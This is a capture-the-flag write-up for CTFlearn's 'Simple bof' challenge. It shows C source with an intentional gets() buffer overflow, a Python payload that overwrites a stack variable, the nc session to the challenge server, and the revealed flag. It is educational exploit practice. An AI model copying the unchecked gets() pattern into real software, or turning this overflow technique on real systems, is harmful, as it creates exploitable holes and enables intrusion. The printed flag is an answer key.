Simple bof

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bof.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();

void print_flag();

void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff);

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff);

  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }

  exit(0);
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  safeguard();
  vuln();
}

The program sets a buffer of 32 bytes and then padding of 16 bytes.

It then creates two variables notsecret and secret and sets their value to 0xffffff00 and 0xdeadbeef respectively.

Stack

           +---------------------------+
0xffbbf4e8 |  00 00 00 00 00 00 00 00  | < buffer
0xffbbf4f0 |  00 00 00 00 00 00 00 00  |
0xffbbf4f8 |  00 00 00 00 00 00 00 00  |
0xffbbf500 |  00 00 00 00 00 00 00 00  |
           +---------------------------+
0xffbbf508 |  ff ff ff ff ff ff ff ff  | < padding
0xffbbf510 |  ff ff ff ff ff ff ff ff  |
           +-------------+-------------+
0xffbbf518 | ef be ad de | 00 ff ff ff |
           +-------------+-------------+
             ^             ^
             secret        notsecret

The program then has four conditional statements:

1. Executes if the value of secret has been set to 0x67616c66 and prints out the flag.
2. Executes if the value of notsecret has been altered.
3. Executes if the value of secret has been altered but not set to 0x667616c66.
4. Executes if none of the above conditions are met. We need 48 bytes to fill the buffer and the padding and then 0x67616c66.

Exploit

$ python3 -c 'print("a"*48 + "\x66\x6c\x61\x67")'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaflag

Note that 0x67616c66 is written in little endian format.

Let's provide the string as the input.

$ nc thekidofarcrania.com 35235

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED CORRECT secret
0xfff45058 | 00 00 00 00 00 00 00 00 |
0xfff45060 | 00 00 00 00 00 00 00 00 |
0xfff45068 | 00 00 00 00 00 00 00 00 |
0xfff45070 | 00 00 00 00 00 00 00 00 |
0xfff45078 | ff ff ff ff ff ff ff ff |
0xfff45080 | ff ff ff ff ff ff ff ff |
0xfff45088 | ef be ad de 00 ff ff ff |
0xfff45090 | c0 55 f6 f7 84 1f 64 56 |
0xfff45098 | a8 50 f4 ff 11 fb 63 56 |
0xfff450a0 | c0 50 f4 ff 00 00 00 00 |

Input some text: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaflag

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED CORRECT secret
0xfff45058 | 61 61 61 61 61 61 61 61 |
0xfff45060 | 61 61 61 61 61 61 61 61 |
0xfff45068 | 61 61 61 61 61 61 61 61 |
0xfff45070 | 61 61 61 61 61 61 61 61 |
0xfff45078 | 61 61 61 61 61 61 61 61 |
0xfff45080 | 61 61 61 61 61 61 61 61 |
0xfff45088 | 66 6c 61 67 00 ff ff ff |
0xfff45090 | c0 55 f6 f7 84 1f 64 56 |
0xfff45098 | a8 50 f4 ff 11 fb 63 56 |
0xfff450a0 | c0 50 f4 ff 00 00 00 00 |

You did it! Congratuations!
CTFlearn{buffer_0verflows_4re_c00l!}

Flag

CTFlearn{buffer_0verflows_4re_c00l!}